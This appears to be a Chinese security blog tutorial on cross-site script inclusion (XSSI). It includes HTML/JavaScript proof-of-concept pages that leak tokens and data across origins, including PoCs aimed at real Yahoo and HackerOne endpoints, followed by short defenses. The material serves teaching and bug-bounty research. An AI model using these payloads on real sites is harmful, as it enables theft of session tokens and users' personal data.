XSS最强知识体系漏洞万字总结

从Self XSS到CSRF:组合漏洞利用实战与防御策略 跨站脚本攻击(XSS)与跨站请求伪造(CSRF)是Web安全领域的两大经典漏洞类型。XSS通过在用户浏览器中注入恶意脚本窃取信息或劫持会话,而CSRF则利用用户已登录状态诱导其执行非预期操作。从技术原理看,XSS源于对用户输入的不当处理,而CSRF则因缺乏请求来源验证机制。在工程实践中,单独的低危漏洞如Self XSS常被忽视,但其与CSRF结合却能形成致命攻击链,实现权限提升等高风险操作。这种组合利用模式在用户资料修改、密码重置等场景中尤为危险,凸显了纵深防御的重要性。本文通过实战案例,详细剖析了如何将S 阅读详情

在这里插入图片描述

一.XSSI漏洞原理

同源策略

同源策略是Web应用程序安全模型中最基本也是最核心的策略。

现在所有支持JavaScript的浏览器都会使用这个策略。

所谓同源是指,域名,协议,端口相同。

同源策略规定,不同源的客户端脚本(javascript、ActionScript)在没明确授权的情况下,不能读写对方的资源。

此策略可防止一个页面上的恶意脚本通过该页面的Document Object Model访问另一网页上的敏感数据。

为了满足同源策略,浏览器对不同访问行为进行了限制,限制规则一般如下:

在这里插入图片描述
XSSI原理

XSSI漏洞全称为跨站脚本包含漏洞,攻击者通过使用

可以窃取符合JavaScript格式的文件中的敏感信息。
在这里插入图片描述
攻击者会将可泄露用户信息的JavaScript文件包含进来。

这里获取的目标数据,即敏感信息,大致分为几类:

认证凭据

CSRF token

用户个人信息等

XSSI、XSS、CSRF的区别

XSS 攻击是指攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。

攻击者对客户端网页注入的恶意脚本一般包括 JavaScript,有时也会包含 HTML 和 Flash。

有很多种方式进行 XSS 攻击,但它们的共同点为:将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作

CSRF(跨站请求伪造),指冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF[用XSS的方式实现伪造请求]。

XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了

而XSSI(跨站请求包含)是XSS的一种形式,即浏览器不会阻止网页加载图像和文字等资源,这些资源通常托管在其他域和服务器。

例如,如果abc银行有一个脚本用于读取用户的私人账户信息,攻击者可以在其自己的恶意网站包含这个脚本,当abc银行的客户访问攻击者的网站时,攻击者就可以从abc银行的服务器提取用户信息。

从表面上看,XSSI和CSRF看起来很相似,因为在这两种情况下,请求都是从恶意页面发送到另一个域的,并且在两种情况下,请求都是在登录用户的上下文中执行的。

关键区别在于目标。

在CSRF中,攻击者希望在受害者页面内执行恶意操作,例如在网上银行应用程序中进行转帐。

在XSSI中,攻击者想要跨域泄露数据,以便再执行攻击。

与jsonp劫持的关系

jsonp劫持等利用js对插入函数进行插入恶意代码,将敏感数据发送到攻击者的服务器,实际上就是对存在jsonpjack持守入侵的网页进行发起一次请求,让其受害者客户端执行插入的恶意代码

而xssi主要获取服务器为每个客户端生成的动态js文件中的敏感数据,达到信息定向的目的,这种信息可能包括用户的登录凭证,严重可导致任意用户账号接管。

二.XSSI漏洞利用以及POC

XSSI通常区分为三种情况。

但是利用方式是相似甚至是相同的(就像反射与存储的XSS)。我们可以将三种情况区分如下:

静态JavaScript(常规XSSI)

直接访问该js即可获取敏感信息,但一般都是攻击认证后包含敏感信息的js

假设敏感内容设定在一个全局变量中,如下面的现实例子:

var privateKey ="-----BEGIN RSA PRIVATE KEY-----

....

-----END RSA PRIVATE KEY-----",

    keys =[

{ name:'Key No 1', apiKey:'0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },

{ name:'Key No 2', apiKey:'1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }

];

利用POC:

<html>

<head>

<title>Regular XSSI</title>

<scriptsrc="https://www.vulnerable-domain.tld/script.js"></script>

</head>

<body>

<script>

      alert(JSON.stringify(keys[0]));

</script>

</body>

</html>

动态JavaScript

1.敏感信息存储在全局变量

http://vuln.com/dynamic.js

var token='secret';

利用POC

http://attacker.com/xssi.html

<!DOCTYPE html>

<html>

<head>

<title>xssi</title>

</head>

<body>

<scriptsrc="http://vuln.com/dynamic.js"></script>

<script>alert(token);</script>

</body>

</html>

2.敏感信息被外部函数处理,可以重写函数

http://vuln.com/dynamic1.js

(function(){

var token='secret';

    doSomeThing(token);

})();

利用POC:

http://attacker.com/xssi1.html

<!DOCTYPE html>

<html>

<head>

<title>xssi1</title>

</head>

<body>

<script>function doSomeThing(data){alert(data);}</script>

<scriptsrc="http://vuln.com/dynamic1.js"></script>

</body>

</html>

3.利用原型链窃取敏感信息

对于非常规情况,可以考虑利用原型链获取数据

http://vuln.com/dynamic2.js

(function(){

var token='secret';

var data=token.trim();

})();

利用POC:

http://attacker.com/xssi2.html

<!DOCTYPE html>

<html>

<head>

<title>xssi2</title>

</head>

<body>

<script>String.prototype.trim =function(){alert(this);}</script>

<scriptsrc="http://vuln.com/dynamic2.js"></script>

</body>

</html>

在这里插入图片描述

非JavaScript

1.IE bug导致错误信息泄漏 (ie 9 和 ie 10)

为了防止js错误信息跨域泄漏,对于外部加载的js文件,现在主流的浏览器只有固定的错误信息,比如“script error”,当是在ie9与ie10,情况不一定如此。

一般来说,在外部js发生语法错误的情况下,浏览器只会提供固定的错误信息,

但是当在runtime发生错误的情况下,浏览器会提供详细的错误信息。

比如”foo 未定义”之类的,某些浏览器一旦允许外域js回复详细的错误信息,就会导致信息泄漏。

就是说,当某个网页的内容能被js识别为javascript格式的话,那么就可能通过错误信息获取到目标的内容。

比如,目标网页

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:13

1,abc,def,ghi

攻击者设置错误显示

#!html

<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

一旦加载成功,网页则会显示 “‘abc’ is undefined”

会出现这种情况是因为浏览器将目标识别为javascript,那么abc就会被识别为某个未定义的变量。

当为这种情况的时候,浏览器就允许页面捕捉来自不同网页的错误信息。

做一个总结就是,有被利用的可能性的数据都是可以被识别,或者通过某种方式识别为有效js的数据。

不过,稍微需要注意的一点,出现该漏洞的只有ie 9 和 ie 10。

2.通过UTF-16编码获取其它类型的数据 (ie版本小于10)

大家可以看到,上面的东西只在csv这种操蛋的玩意上有用,

所以我们做了更多的研究看看能否获取不同格式的数据,

之后我们发现通过UTF-16编码可以达到我们的目标。

其实本身是一个很简单的技巧 比如页面a ,我们加入 charset=”UTF-16BE”

#!html

<!--set an error handler -->

<SCRIPT>window.onerror =function(err){alert(err)}</SCRIPT>

<!-- load target JSON -->

<SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>

然后json数据长这个逼样

HTTP/1.1200 OK

Content-Type: application/json

Content-Disposition: attachment; filename="a.json"

Content-Length:39

{"aaa":"000","bbb":"111","ccc":"222"}

当响应缺少字符集规范的时候,会被charset属性强制转码为固定的编码,我们用这个技巧撸掉了许多有名的浏览器,包括ie 9。

测试这段代码之后,我们给自己弹了个窗。
在这里插入图片描述
我们可以看到一串乱码,因为,当浏览器获取目标网页的数据,之间经过了一次编码,然后到我们的页面上经过charset制定的字符集进行了一次解码。
在这里插入图片描述
我们能很简单的得出一个结论就是我们能通过对乱码的再次编码来获得原有的信息

不过需要注意的就是只有当编码后的信息能够被浏览器识别为有效的js标示符的时候攻击才有可能成功,这是一个重要的条件,

对于不同的平台的编码是有所不同的,在ie上可以被识别为有效js标示符的字符是多于其他平台的,至于其他来说ie的 ECMAScript规范 跟其他浏览器总体没什么不同。

打个比方对于ie来说 ‘3q’ (U+3371, ㍱) 在 unicode编码中会被认为是 属于 “Symbol, Other [So]”,就是符号的一种。

总的来说这种形式的认定不应该发生在任何浏览器中,不过ie可能比较2b一些。

我们花了很多时间研究了什么样的组合,能够被浏览器认定为有效的js标示符,当字符编码为UTF-16的时候的数字字母组合,ie 9将其99.3%认为是有效的js标示符,高于chrome和firefox。

具体结果见下图
在这里插入图片描述
需要注意的一件事就是在ie 10 或者更高的版本,可能攻击无法奏效,因为ie 10 拒绝将没有空字节活着bom的编码为utf16。

3.chrome/firefox 中 Harmony proxy bug利用

Harmony是一个ECMAScript 6中的新功能 ,类似于java的反射类,其中定义了对于对象属性的查找,分配,函数调用

在我们针对这些新特性的研究过程中发现该功能可以用于xssi的攻击中

#!html

<!--set proxy handler to window.__proto__ -->

<SCRIPT>

var handler ={

 has:function(target, name){alert("data="+ name);returntrue},

get:function(target, name){return1}

};

window.__proto__ =newProxy({}, handler);

</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

注意其中的window.proto 定义了一个代理对象,当访问一个未定义的全局变量,就会出发handler进行处理。

然后csv文件长这样:

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:13

1,abc,def,ghi

当访问攻击页面的时候如果攻击成功那么久会收到 “data=abc”, “data=def”, “data=ghi”的弹窗,我们在firefox和chrome都得到了验证。

4.穷举

假设一个攻击页面通过js 加载了下面的csv文件。

HTTP/1.1200 OK

Content-Type: text/csv

Content-Disposition: attachment; filename="a.csv"

Content-Length:8

1,xyz123

一旦加载我们就会得到一个 xyz123未定义的错误

换句话说,如果我们在加载外部文件之前定义了这个标示符,那么我们就不会受到这个错误,同时我们也可以判断xyz123是存在于外部文件中的。

也就是说我们需要一个合适的检测错误是否发生的方式。

一般情况下浏览器是不提供详细的外部错误信息,不过仍然会返回一个通用的错误标示。

所以说穷举信息还是是存在可能性的。

总的来说我们发现三种穷举的方式

第一种是二元搜索。

比如你知道目标会是 “xyz121”, “xyz122”, “xyz123” 和 “xyz124″中的其中一个,可以先定义前两个变量然后看有无错误爆出,然后定义后两个,然后再缩小目标。

第二种是使用 js 的getter,像下面酱紫

#!html

<!--set getters -->

<SCRIPT>

Object.defineProperty(window,"xyz121",{get:function(){alert("value=xyz121")}});

Object.defineProperty(window,"xyz122",{get:function(){alert("value=xyz122")}});

Object.defineProperty(window,"xyz123",{get:function(){alert("value=xyz123")}});

Object.defineProperty(window,"xyz124",{get:function(){alert("value=xyz124")}});

</SCRIPT>

<!-- load target CSV -->

<SCRIPT src="(target data's URL)"></SCRIPT>

就是目标值访问 window.**|||||| 会触发上面的规则。

第三种是使用vbscript来获取json数组

这个思路来自Hasegawa做的研究,组合vbscript和json进行攻击(4]

目标页面长这个样子

HTTP/1.1200 OK

Content-Type: application/json

Content-Disposition: attachment; filename="a.json"

Content-Length:12

[1,"xyz123"]

然后再我们的攻击界面中调用vbscript

#!html

<SCRIPT language="vbscript">

Sub[1,"xyz121"]:MsgBox"value=xyz121":EndSub

Sub[1,"xyz122"]:MsgBox"value=xyz122":EndSub

Sub[1,"xyz123"]:MsgBox"value=xyz123":EndSub

Sub[1,"xyz124"]:MsgBox"value=xyz124":EndSub

</SCRIPT>

<!-- load target JSON asVBScript-->

<SCRIPT src="(target data's URL)" language="vbscript"></SCRIPT>

跟上面的攻击相似,都是通过穷举来获取目标值。不过vbscript只试用于ie

5.csv获取

上面获取csv的信息只在目标的字符串没被引号扩起来的情况下,不过同样是一些小技巧能够使我们绕过这一限制。

让我们假设一个csv长这个b样。

1,"___","[email protected]","03-0000-0001"
2,"foo","[email protected]","03-0000-0002"
...
98,"bar","[email protected]","03-0000-0088"
99,"___","[email protected]","03-0000-0099"

假设攻击者能够插入自己的字符串,那么只需要根据RFC相关CSV (RFC 4180 (12])中的规定来添加一个双引号就可以bypass这个限制。

for example

1,"\"",$$$=function(){/*","[email protected]","03-0000-0001"

2,"foo","[email protected]","03-0000-0002"

...
98,"bar","[email protected]","03-0000-0088"

99,"*/}//","[email protected]","03-0000-0099"

一个比较蛋疼的问题就是如何获取多行的信息,因为多行在js中是违法的

上面的例子里,我们使用 $$.toString() 获取函数远吗来达到攻击目标数据的目的。

这种攻击方式试用于所有的浏览器。

一种获取多行内容的方式可以在chrome和firefox中奏效,就是ECMAScript6模版字符串中通过反引号来获取多行内容。

三.XSSI漏洞实例

雅虎XSSI漏洞实现用户信息窃取

在雅虎(Yahoo)漏洞众测项目中,通过BurpSuite来进行抓包分析,发现下图的请求:
在这里插入图片描述
测试发现是JSONP服务端,在雅虎网站API中,.crumb 值其实就是一个随机字符串

它与用户的session和身份验证值相关,并且如果在该请求中,GET参数 .crumb 值无效的话,其响应如下:
在这里插入图片描述
如果能以某种方式去窃取到受害者的有效.crumb 值的话,那么就能窃取到对方的具体账号信息值了。

因此,在BurpSuite的抓包中来查找所有包含有效 .crumb 值的请求,最终,发现了在某个动态的Javascript文件存在这样的信息

该Javascript文件位于

https://messenger.yahoo.com/embed/app.js。

源代码如下:
在这里插入图片描述

这个XSSi 漏洞原理其实是这样的,它允许攻击者绕过原始边界窃取特定类型数据,

利用了script标记的src属性来突破同源策略( SOP),也即在script标记中,浏览器不会阻止网页加载图像和文字等第三方资源。

因此,为了窃取

https://messenger.yahoo.com/embed/app.js

中的有效回调 .crumb 值,然后把它放置在链接

https://jsapi.login.yahoo.com/w/device_users?.crumb=POR1.kRjsx

中进行请求,以获取到相关用户的session信息,POC代码如下:

<html>

<head>

<title>Yahoo XSSi PoC</title>

</head>

<body>

<divstyle="width:60%; margin-right:auto; margin-left:auto; margin-bottom:30px;">

<h1style="text-align: center;">Proof of Concept</h1>

<b>Dataset 1:</b>

<divid="content1"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>

<br/>

<b>Dataset 2:</b>

<divid="content2"style="width:100%; border:1px solid black; padding:10px; overflow: scroll; font-family: monospace;"></div>

</div>

<script>

function processDeviceUsers(data){

                document.getElementById("content1").innerHTML = JSON.stringify(data);

}

            window.onload =function(){

var config ={};

                config_data ={};

                config.merge =function(data){ config_data = data };

                iris.initConfig(config);

                document.getElementById("content2").innerHTML =  JSON.stringify(config_data);

var src ="https://jsapi.login.yahoo.com/w/device_users?.crumb="+ config_data.session.logoutCrumb;

var s = document.createElement('script');

                s.setAttribute('src', src);

                document.body.appendChild(s);

}

</script>

<scriptsrc="https://messenger.yahoo.com/embed/app.js"></script>

<scriptsrc="https://code.jquery.com/jquery-3.3.1.min.js"></script>

</body>

</html>

效果:
在这里插入图片描述
hackerone漏洞:如何利用XSSI窃取多行字符串

由于浏览器不会阻止一个域名中的页面直接引用其他域名的资源

所以我们可以在script标签中引入第三方域名的资源,然后观察其运行情况

但我们现在还无法读取到来自第三方域名script标签中的内容。

需要注意的是,包含script标签的不一定必须是JS文件,文件开头也无需标注text/javascript,而且文件的扩展名也并非一定要是“.js”。

hackerone存在漏洞的地址是:

https://hackerone.com/reports/12345/export/raw?include_internal_activities=true

在这里插入图片描述
这是“导出”功能的一个部分,它允许我们查看或下载原始报告内容。

点击之后,浏览器便会发送上图所示的GET请求。

这是一个XHR请求,并带有一个反CSRF令牌。

我们可以在浏览器中看到GET请求所对应的完整响应信息:
在这里插入图片描述
为了跨域泄漏报告(Report)的内容,所有的语句必须是有效的JavaScript语句。

以下是报告demo:
在这里插入图片描述
第一行是一条标记语句(“Title”后面跟着的是用户提供的标题),标记语句是一种有效的JavaScript语句,后面可以跟自己的输入参数。

为了获取到多行字符串数据,这里还要用到反引号( )。

接下来,在结尾的反引号中添加一条注释来作为字符串结束的标志。

现在,可以script标签中嵌入上面给出的URL地址,然后就远程提取出所需要的数据了

POC如下:

<!DOCTYPE html>

<html>

<head>

<metacharset='utf-8'/>

<script>

//Tagged template literals

function demo( strings){

            alert(strings);

}

</script>

</head>

<body>

<scripttype='text/ecmascript'src='https://hackerone.com/reports/207802/export/raw?include internal_activities=false '></script>

</body>

</html>

目前只知道两种控制JavaScript多行字符串的方法(串联和反引号转义)

ECMAScript 6也引入了一种箭头函数(Arrow_Functions),它允许开发人员使用简短的字符来定义函数。

下面是一个简单的例子:
在这里插入图片描述
除此之外,模版字符串(Template Literals)则是一种更简单的多行字符串处理方式。

四.XSSI漏洞防御

  • X-Content-Type-Options设置为nosniff
  • 不要将敏感数据(session,token等)放在javascript文件中, 也不要放在jsonp中
  • 禁止get
  • 加token
  • 自定义xhr/http请求
    在这里插入图片描述
  • ①2000多本网安必看电子书(主流和经典的书籍应该都有了)
  • ②PHP标准库资料(最全中文版)
  • ③项目源码(四五十个有趣且经典的练手项目及源码)
  • ④ 网络安全基础入门、Linux运维,web安全、渗透测试方面的视频(适合小白学习)
  • ⑤ 网络安全系统学习路线图(告别不入流的学习)
  • ⑥ 黑客工具大全
  • ⑦ 2021网络安全/Web安全/渗透测试工程师大厂面经

【点我资料领取】

在这里插入图片描述

XSS漏洞利用与WAF绕过实战:从原理到Payload构造技巧 跨站脚本攻击(XSS)是一种常见的Web安全漏洞,其本质在于Web应用未能有效隔离用户输入的数据与可执行的代码,导致攻击者能够注入恶意脚本。理解XSS的原理,关键在于识别数据在HTML、JavaScript等不同上下文中的解析差异。从防御角度看,Web应用防火墙(WAF)通过规则引擎对HTTP请求进行实时检测与拦截,是缓解此类攻击的重要技术手段。然而,WAF的规则匹配机制存在局限性,这为安全研究和渗透测试中的绕过技术提供了空间。通过混淆、编码、利用解析差异等方法构造的Payload,旨在实现恶意功能的同时规 阅读详情

相关推荐

XSS漏洞攻防实战:从靶场搭建到防御体系构建

跨站脚本攻击(XSS)是Web安全领域的核心漏洞类型,其本质是攻击者将恶意脚本注入到可信网页中,当用户浏览时触发执行。攻击原理在于Web应用未对用户输入进行充分验证和输出编码,导致数据被浏览器解析为可执行代码。XSS的技术价值在于它直接威胁用户数据安全与隐私,是前端安全攻防的基石。在应用场景上,XSS广泛存在于用户交互功能,如评论、搜索框、文件上传等环节。本文聚焦于XSS靶场的设计与实战,通过模拟反射型、存储型、DOM型XSS以及SVG、CSP绕过等复杂场景,结合内容安全策略(CSP)和框架安全实践,为安全

weixin_34005042的博客 403

渗透测试-XSSI漏洞小结

简介 XSSI(Cross Site Script Inclusion)跨站脚本包含是一种允许攻击者通过嵌入script标签的src属性来加载敏感js绕过边界窃取信息的漏洞。 简单来讲,就是攻击者通过使用 标签跨域包含特定文件/页面,就可以窃取符合JavaScript格式的文件中的敏感信息。 举例如下: #!javascript <script< span=""></script<>src="http://target.wooyun.org/secret"&gt

cdyunaq的博客 1092

前端开发者渗透测试入门:从XSS、CSRF到越权漏洞的实战挖掘指南

Web安全是构建健壮应用的核心基础,其核心原理在于对用户输入与输出的可信边界管理。从技术价值看,理解常见攻击模式如跨站脚本(XSS)和跨站请求伪造(CSRF),能帮助开发者从根本上设计更安全的架构。在实际应用场景中,前端作为用户交互的第一道防线,常面临数据渲染、API请求和客户端存储等多重攻击面。本文聚焦于前端渗透测试,通过实战演练解析如何利用浏览器开发者工具和代理抓包(如Burp Suite)进行漏洞挖掘,并深入探讨如何通过攻击面映射和手动测试,发现诸如敏感信息泄露和越权访问等关键安全问题,从而提升应用的

weixin_33933118的博客 439

xssi漏洞案例分析

来源 在h1看到paypal的key信息泄露导致用户账户信息泄露,包括用户的用户名、邮箱等信息,并获得1.5w$奖金,分析完毕在freebuf上找到xssi相关文章,该文章在18年发布,但是当时对于该漏洞的看重程度还不是很高。 漏洞原理 XSSI被称为跨站脚本包含漏洞,通常在开发过程中对数据的临时存储,存储在动态javascript文件中,方便全局对数据的调用。该数据通过服务端生成,临时存储在js文件中,被客户端进行使用,通过该功能进行数据处理、身份认证等处理;问题在于通过对动态js的调用,我们可以通过嵌入

南迪叶先森 708

SRC漏洞挖掘实战指南:从零基础到漏洞变现的完整路径

Web安全是信息安全领域的核心分支,其原理在于识别和利用Web应用中的设计缺陷或实现错误。从基础的HTTP协议、前后端交互机制,到SQL注入、XSS、CSRF、越权访问等常见漏洞类型,理解其产生原因和利用方式是安全研究的基石。掌握这些技术不仅能帮助企业发现潜在风险,提升系统安全性,在安全应急响应中心(SRC)平台进行**漏洞挖掘**更成为安全研究人员验证能力、获取认可的重要途径。通过系统化的手工测试、业务逻辑分析与严谨的报告撰写,研究人员可以将技术知识转化为实际成果。本文聚焦于**SRC漏洞挖掘**的完整实

cigang4063的博客 459

XSS在线平台实战指南:从创建项目到捕获Cookie

本文提供了一份详尽的XSS在线平台实战指南,从平台注册、创建项目到生成专属POC代码,手把手教你如何利用XSS在线平台进行安全测试。通过DVWA靶场实战演示,详细讲解了如何注入POC、捕获Cookie并查看数据,帮助初学者快速掌握XSS漏洞验证的核心流程与技巧。

weixin_29323551的博客 229

XSSI漏洞小结

*

A_991128a的博客 324

python刷B站播放量

首先,我们要知道B站播放量计算方法:不同的IP只能算一次,如果点一下就关掉,会出现播放完成度很低的情况,反而不利。 所以我们要做的是:不停换IP地址打开视频播放页,最好能看完视频。 下面是实现方法: 获取某一个网页上的所有代理IP,返回一个IP列表: def get_ip_list(url, headers): web_data = requests.get(url, headers=headers) soup = BeautifulSoup(web_data.text, 'lxml

HGGshiwo的博客 1万+

Web的基本漏洞【XSS漏洞】

XSS漏洞介绍、XSS漏洞的攻击方式--注入脚本代码

尽欢的博客 4458

本地AI语音生成与配音工作台Pandrator:从TTS到RVC的完整实践指南

语音合成(TTS)技术通过深度学习模型将文本转换为自然语音,其核心原理涉及声学建模与波形生成。这项技术不仅提升了人机交互体验,更在内容创作领域展现出巨大价值,广泛应用于有声书制作、视频配音、虚拟助手等场景。本文聚焦于一个集成了XTTS-v2、RVC等先进模型的本地化AI语音工作台——Pandrator,它通过模块化架构将语音合成、声音克隆、音频转录与翻译等流程无缝整合,为用户提供了一个图形化、可定制的完整解决方案。文章深入解析了其基于TTS与RVC(Retrieval-based Voice Convers

weixin_42676876的博客 340

别再为环保数采仪通讯发愁!手把手教你用MCGS触摸屏+4G模块发送HJ212报文

本文详细介绍了如何使用MCGS触摸屏配合4G模块高效发送HJ212标准报文,解决工业环保监测中的数据采集与传输难题。从硬件连接到软件配置,再到报文组装与发送策略,提供全流程实用指南,特别针对4G网络环境下的特殊设置给出优化建议,帮助工程师提升数据传输稳定性与效率。

weixin_30847865的博客 389

XSS学习笔记【一】

本文主要内容: 三种类型的XSS原理 三种类型的XSS实验演示 XSS的分类 非持久型 非持久型XSS也称反射型XSS。具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果。那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻处理这段恶意代码,并返回执行结果。如果服务端对这段恶意代码不加过滤的话,恶意代码就会在页面上被执行,攻击就成功了。举个例子,一般的网页是有搜索框的对吧,如果攻击者搜索一段带有html标签的字符串,搜索的结果就会以该.

hl1293348082的专栏 186

从谱峰搜索到多项式求根:Root-MUSIC算法原理与MATLAB实践

本文深入解析Root-MUSIC算法在阵列信号处理中的原理与应用,通过多项式求根替代传统MUSIC算法的谱峰搜索,显著提升计算效率和精度。文章详细介绍了算法核心思想、MATLAB实现步骤及工程优化技巧,帮助读者掌握这一高效的DOA估计方法。

weixin_30832143的博客 81

DOM型XSS漏洞深度解析:从原理、手工挖掘到高级防御实践

跨站脚本攻击(XSS)是Web安全领域的核心威胁之一,其本质是攻击者将恶意脚本注入到网页中,当其他用户浏览时,脚本会在其浏览器上下文中执行。XSS攻击主要分为反射型、存储型和DOM型。其中,DOM型XSS因其攻击载荷不经过服务器、仅在客户端浏览器中由JavaScript动态解析执行而尤为隐蔽,能有效绕过传统的服务端输入过滤和Web应用防火墙(WAF)。理解其原理需把握三个关键要素:源(Source,如location.hash、document.referrer等用户可控输入点)、汇(Sink,如inner

425

【异常】Cursor编辑器 “Taking longer than expected...“ 报错全链路排查与解决方案

该提示并非传统的程序崩溃或语法报错,本质是Cursor编辑器的超时预警机制——当核心任务(云端AI推理请求、本地项目索引等)的执行耗时超出系统预设阈值时,触发的用户告知类提示,核心诱因是任务执行全链路出现阻塞或性能瓶颈。以下方案按排查优先级从高到低排序,覆盖从快速急救到根因根治的全流程,可按步骤逐步验证解决。针对大仓库、多依赖项目的索引超时问题,核心是通过规则过滤无效文件,从根源降低索引负载。

奶爸的编程之路,也就一周冷个三天 3107

深入浅出讲解外部服务提供者 OAuth 2.0 帐户客户端创建与 ABAP 系统集成

本文详细介绍了在SAP ABAP平台配置OAuth 2.0客户端以安全调用外部Web服务的完整流程。主要内容包括:首先需要在外部服务提供者平台注册OAuth客户端,获取client ID和client secret;其次需特别注意重定向URI必须是公开可访问的地址;然后在ABAP系统中通过事务码OA2C_CONFIG配置OAuth客户端信息;最后阐述了常见的错误排查方法。文章强调了OAuth 2.0作为SAP系统与外部服务安全集成的标准协议,正确配置客户端是确保后续API调用安全可靠的关键前提。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1735

wordpress漏洞_聊聊 WordPress 5.1.1 CSRF to RCE 漏洞

作者:LoRexxar'@知道创宇404实验室时间:2019年3月14日2019年3月13日, RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情,标题起的很响亮,叫做wordpress csrf to rce,https://blog.ripstech.com/2019/wordpress-csrf-to-rce/下面我们就来详细聊聊这个漏洞。关于 WordPr...

weixin_39581716的博客 633

【以太网硬件六】1000base-T物理层编码究竟是怎么编的?

详述1000base-T物理层4D-PAM5的编码过程

highman110的博客 5325

安全测试的基础入门知识有哪些?我应该关注哪些常见的Web漏洞(如XSS、SQL注入)?

功能测试确保你的应用“能用”,而安全测试则确保你的应用“不会被滥用”。对于任何开发者、测试人员或产品经理来说,掌握基础的安全知识,就像为你的数字大厦配备了坚固的门锁和警报系统。从今天起,戴上你的“黑客帽子”,用审视的目光看待每一个输入框、每一个URL参数,开始你的安全探索之旅吧。今天你了解的这些漏洞只是冰山一角,但它们是通往更广阔安全世界的基石。本文将带你走进Web安全测试的大门,了解其核心思想,并深入剖析那些在网络世界中臭名昭著的常见漏洞。你的每一次安全测试,都是在验证你的应用是否守住了这三条底线。

m0_59598970的博客 1046

【Qwen2微调实战】LLaMA-Factory框架对Qwen2-7B模型的微调实践

在人工智能的浪潮中,大型语言模型(LLMs)正逐渐成为研究和应用的热点。它们在自然语言处理(NLP)的各个领域,如文本生成、翻译、问答等任务中展现出了卓越的能力。Qwen2-7B模型,作为该领域的佼佼者,不仅因其庞大的参数量和强大的表示能力受到关注,更因其在微调后能够更好地适应特定任务而备受关注。本文将详细介绍如何利用LLaMA-Factory这一高效的微调框架对Qwen2-7B进行微调,以期达到提升模型在特定任务上的表现。

寻道AI,探索AI无限可能! 2万+

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

分享一些近期学到的XSS挖掘方法

本文核心套路来自 Novy@白帽100少先队 为实际运用及效果分享 开头 已经很久没写一些正常的技术博文了… 之前全都是在骂人和吐槽、吃瓜,相信大家也看腻了 该好好分享一些技术性的东西了 文章中出现所使用的payload放在最下面了哦,慢慢看说不定对你有帮助(其实是从novy那里白嫖来的23333亲亲他) 以下分享全部为实际案例,如有冒犯欢迎来打我(头铁) 个人资料处的存储xss 给你取一个好听的...

anquanniu的博客 1279

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

从漏洞到实战:CSP防XSS秘籍|SpringBoot落地指南

CSP(内容安全策略)是一种通过白名单机制控制资源加载的Web安全标准,能有效防御XSS、数据注入等攻击。其核心功能包括阻断未授权脚本执行、防止资源劫持、减少供应链风险等。可通过HTTP响应头或HTML meta标签启用,推荐使用响应头方式。主要指令包括default-src、script-src等,常用源值有'self'、'none'等。生产环境应避免使用'unsafe-inline'等不安全选项,建议采用nonce/hash+可信域名方式。SpringBoot可通过过滤器、拦截器等方式实现CSP,过滤器

行走の飞鱼博客 469

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

Web安全攻防实战:从XSS、SQL注入到业务逻辑漏洞的全面防御指南

Web安全是构建可信网络应用的核心基石,其本质是围绕信任边界展开的持续攻防。从技术原理层面看,攻击者常利用应用程序对用户输入的过度信任,通过注入恶意代码或绕过验证机制达成攻击目的,例如跨站脚本攻击和SQL注入便是典型代表。这些漏洞不仅威胁数据机密性与完整性,更直接影响业务连续性与用户权益。在工程实践中,防御需贯彻全流程,从输入验证、输出编码到安全配置,形成纵深防御体系。其中,内容安全策略和参数化查询等关键技术能有效遏制常见攻击。随着应用架构复杂化,业务逻辑安全成为新的焦点,需结合威胁建模进行针对性防护。本文

dgqvhtlwq472235338的博客 381

xss简单的利用与分析

xss博大精深,小菜只是班门弄斧,小小的总结了一下最近看过的一下文章 xss 有三种,第一种是存储型,第二种是反射性,第三种是DOM型 先说第一种吧,存储型的 demo: <?php $dbuser = "root"; $dbpwd = ""; //输入你自己的mysql的密码 $db = "test"; $conn = m

Exp_10it的专栏 1118

最强AriaNg安全加固指南:HTTP头配置实战与漏洞防御

你是否还在为AriaNg的安全配置感到困惑?担心恶意攻击泄露你的下载任务?本文将通过实战案例,手把手教你配置8种核心安全HTTP头,让你的AriaNg防护能力提升10倍。读完本文你将掌握: - 识别当前AriaNg的安全隐患 - 完整的HTTP头配置代码示例 - Nginx/Apache环境适配方案 - 配置效果验证方法 ## 安全现状分析:AriaNg默认配置的风险 AriaNg作为一款现代...

gitblog_00665的博客 399
上一篇: 【备战秋招】干翻面试官! 你这TCP攻击牛批阿!
下一篇: 面试又挂了!大厂面试到底看重什么?
AI小模型
博客等级 码龄6年 6863粉丝 487原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

